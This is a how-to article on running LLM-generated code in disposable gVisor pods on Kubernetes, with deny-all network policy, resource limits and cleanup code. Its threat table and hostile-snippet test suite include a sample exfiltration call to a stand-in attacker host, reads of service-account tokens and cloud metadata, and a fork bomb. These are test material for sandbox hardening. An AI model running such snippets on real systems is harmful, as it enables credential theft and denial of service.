Home / AI & GenAI

AI & GenAIHow-toAdvanced

Running LLM-generated code safely on Kubernetes: gVisor sandboxes, no network, resource limits and hard timeouts

Build a code-execution tool for agents that runs each snippet in a throwaway gVisor pod with no network, no credentials, tight CPU, memory and PID limits and a hard deadline.

Deepak Bhardwaj8 min read

Applies toKubernetes 1.25+ with containerd, gVisor (runsc), GKE Sandbox or self-managed nodes; Python kubernetes client; Docker for local testing

The goal

Your agent has a "run Python" tool for data analysis, log parsing or quick calculations. Whatever that tool runs was written by a model that reads untrusted input: tickets, emails, retrieved documents. Treat every snippet as hostile code. If a prompt injection gets through, the sandbox is the only thing between the model and your cluster.

This how-to builds an execution path where each snippet:

  • runs in a fresh pod under gVisor, a user-space kernel, so container escapes need a gVisor bug on top of a kernel bug
  • has no network, no service account token and no secrets
  • has CPU, memory, PID, disk and wall-clock limits
  • is deleted after it finishes, whatever the result

Threats and the control for each

Threat Example from a model Control
Container escape Kernel exploit through a syscall gVisor runsc runtime, seccomp, non-root, no capabilities
Data exfiltration requests.post("https://attacker", data=...) Default-deny egress NetworkPolicy, no DNS
Credential theft Reads /var/run/secrets/... or cloud metadata automountServiceAccountToken: false, egress denied to metadata IPs
Resource exhaustion while True: x.append(...), fork bomb Memory limit, PID limit, activeDeadlineSeconds
Persistence Writes a file the next run picks up One pod per run, read-only root, emptyDir scratch
Lateral movement Scans the pod CIDR Separate namespace and node pool, deny-all NetworkPolicy

Step 1: a gVisor node pool and RuntimeClass

On GKE, create a node pool with GKE Sandbox enabled. It installs gVisor and a gvisor RuntimeClass for you:

gcloud container node-pools create sandbox \
  --cluster prod-agents --sandbox type=gvisor \
  --machine-type e2-standard-4 --num-nodes 2 \
  --node-taints sandbox=true:NoSchedule

On self-managed nodes, install runsc and containerd-shim-runsc-v1 following the gVisor docs, register a runsc runtime in the containerd CRI plugin config, then create the RuntimeClass. The handler must match the containerd runtime name:

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
scheduling:
  nodeSelector:
    sandbox.gke.io/runtime: gvisor   # use your own label on self-managed nodes
  tolerations:
    - key: sandbox
      operator: Equal
      value: "true"
      effect: NoSchedule

Warning

The containerd config key for runtimes differs between containerd 1.x and 2.x. Render the merged config with containerd config dump and check it before you restart containerd on a node that is running workloads. A broken config stops every pod on that node.

Check that the sandbox is really in use. Inside gVisor, dmesg shows gVisor's own boot messages instead of the host kernel log. Run the probe in a test namespace, because the restricted policy in step 2 would reject this bare pod:

kubectl create namespace sandbox-test
kubectl -n sandbox-test run probe --rm -it --restart=Never \
  --image=busybox:1.36 --overrides='{"spec":{"runtimeClassName":"gvisor"}}' -- dmesg | head -3

Step 2: lock down the namespace

kubectl create namespace code-sandbox
kubectl label namespace code-sandbox \
  pod-security.kubernetes.io/enforce=restricted

Deny all ingress and egress. With no egress rule, DNS is blocked too, which is what you want:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all
  namespace: code-sandbox
spec:
  podSelector: {}
  policyTypes: [Ingress, Egress]

Add a ResourceQuota so a runaway agent loop can't fill the pool with pods:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: sandbox-quota
  namespace: code-sandbox
spec:
  hard:
    pods: "40"
    limits.cpu: "40"
    limits.memory: 40Gi

Caution

NetworkPolicy only works if your CNI enforces it. Test from inside a sandbox pod: python -c "import socket; socket.create_connection(('1.1.1.1', 443), 3)" must fail, and so must a connection to 169.254.169.254. If either succeeds, stop and fix the CNI before you let an agent use this.

Step 3: the pod template

apiVersion: v1
kind: Pod
metadata:
  generateName: run-
  namespace: code-sandbox
  labels: {app: code-sandbox}
spec:
  runtimeClassName: gvisor
  automountServiceAccountToken: false
  enableServiceLinks: false
  restartPolicy: Never
  activeDeadlineSeconds: 30
  hostNetwork: false
  securityContext:
    runAsNonRoot: true
    runAsUser: 65534
    seccompProfile: {type: RuntimeDefault}
  containers:
    - name: run
      image: registry.internal/sandbox-python:3.12@sha256:<digest>
      command: ["python", "-I", "/code/main.py"]
      securityContext:
        allowPrivilegeEscalation: false
        readOnlyRootFilesystem: true
        capabilities: {drop: ["ALL"]}
      resources:
        requests: {cpu: 250m, memory: 256Mi, ephemeral-storage: 100Mi}
        limits:   {cpu: "1", memory: 512Mi, ephemeral-storage: 200Mi}
      volumeMounts:
        - {name: code, mountPath: /code, readOnly: true}
        - {name: scratch, mountPath: /tmp}
  volumes:
    - name: code
      configMap: {name: CODE_CONFIGMAP}
    - name: scratch
      emptyDir: {sizeLimit: 100Mi}

Notes on the choices:

  • The image is pinned by digest and contains only the libraries you allow (pandas, numpy). Nothing is installed at run time, and with no network pip install fails anyway.
  • python -I ignores PYTHON* environment variables and the user site directory.
  • PID limits are set per node in the kubelet (podPidsLimit) rather than per pod. Set it on the sandbox node pool, for example to 256, so a fork bomb hits that limit before it hurts the node.

Step 4: the tool implementation

The agent's tool creates a ConfigMap and a pod, waits for them with a deadline, reads the logs and deletes both:

import copy, time, uuid
from kubernetes import client, config

config.load_incluster_config()
core = client.CoreV1Api()
NS, MAX_OUT = "code-sandbox", 20_000

def run_code(source: str, pod_template: dict, deadline_s: int = 35) -> dict:
    if len(source) > 50_000:
        return {"status": "rejected", "reason": "code too large"}
    run_id = uuid.uuid4().hex[:10]
    cm_name = f"code-{run_id}"
    core.create_namespaced_config_map(NS, client.V1ConfigMap(
        metadata=client.V1ObjectMeta(name=cm_name, labels={"app": "code-sandbox"}),
        data={"main.py": source}))
    pod = copy.deepcopy(pod_template)   # never mutate the shared template
    pod["metadata"] = {"name": f"run-{run_id}", "labels": {"app": "code-sandbox"}}
    pod["spec"]["volumes"][0]["configMap"]["name"] = cm_name
    try:
        core.create_namespaced_pod(NS, pod)
        start, phase = time.time(), "Pending"
        while time.time() - start < deadline_s:
            phase = core.read_namespaced_pod(f"run-{run_id}", NS).status.phase
            if phase in ("Succeeded", "Failed"):
                break
            time.sleep(0.5)
        logs = ""
        try:
            logs = core.read_namespaced_pod_log(f"run-{run_id}", NS, limit_bytes=MAX_OUT)
        except client.ApiException:
            pass
        return {"status": phase, "output": logs[:MAX_OUT], "run_id": run_id}
    finally:
        core.delete_namespaced_pod(f"run-{run_id}", NS, grace_period_seconds=0)
        core.delete_namespaced_config_map(cm_name, NS)

The service account that runs this tool needs only create, get, delete on pods and configmaps, and get on pods/log, in code-sandbox. Bind it with a namespaced Role, never a ClusterRole.

Tip

Return a short, structured result to the model: status, truncated output, and "timed out" or "OOMKilled" when that happened. Read status.containerStatuses[0].state.terminated.reason to tell the model it hit the memory limit, so it can fix the code instead of blindly retrying.

Clean up anything the finally block missed (tool process crash, API errors):

kubectl -n code-sandbox delete pods -l app=code-sandbox --field-selector=status.phase==Succeeded
kubectl -n code-sandbox delete pods -l app=code-sandbox --field-selector=status.phase==Failed

Run those as a CronJob every few minutes. Field selectors on status.phase only work for pods. For ConfigMaps, have the same job delete any code-* ConfigMap whose run-* pod no longer exists and that is older than a few minutes.

Step 5: test it with hostile snippets

Before an agent uses the sandbox, run these and confirm each one fails safely:

Snippet Expected
import urllib.request; urllib.request.urlopen("http://169.254.169.254") Connection error
open("/var/run/secrets/kubernetes.io/serviceaccount/token").read() FileNotFoundError
x = bytearray(2 * 1024**3) Container OOMKilled
import os; [os.fork() for _ in range(10000)] Fork fails (BlockingIOError) or the pod is killed. The node stays healthy
import time; time.sleep(120) Pod ends at activeDeadlineSeconds
open("/etc/passwd", "w") Read-only file system error

Put these into CI for the sandbox image and node pool config, so a change to the template can't quietly re-open a hole.

Trade-offs

  • Latency: pod creation plus gVisor startup takes a second or more. If that's too slow, keep a small warm pool of pre-created pods, but use each pod for one run only and delete it afterwards.
  • Syscall overhead: gVisor slows down I/O-heavy and syscall-heavy code. For pandas over a few MB of data, the difference is usually small next to the LLM call.
  • Stronger isolation: for multi-tenant platforms where tenants are hostile to each other, look at microVM sandboxes (Kata Containers, Firecracker-based services) and a dedicated cluster.

Prevent it next time

  • Treat the sandbox config as a security boundary: changes need review, and the hostile-snippet suite must pass.
  • Log every run: run ID, agent session, a hash of the code, status and duration. That gives you something to investigate if an injection gets through.
  • Alert on unusual patterns: a spike in runs per session, many OOMKilled or timed-out runs, or snippets that try to open network connections.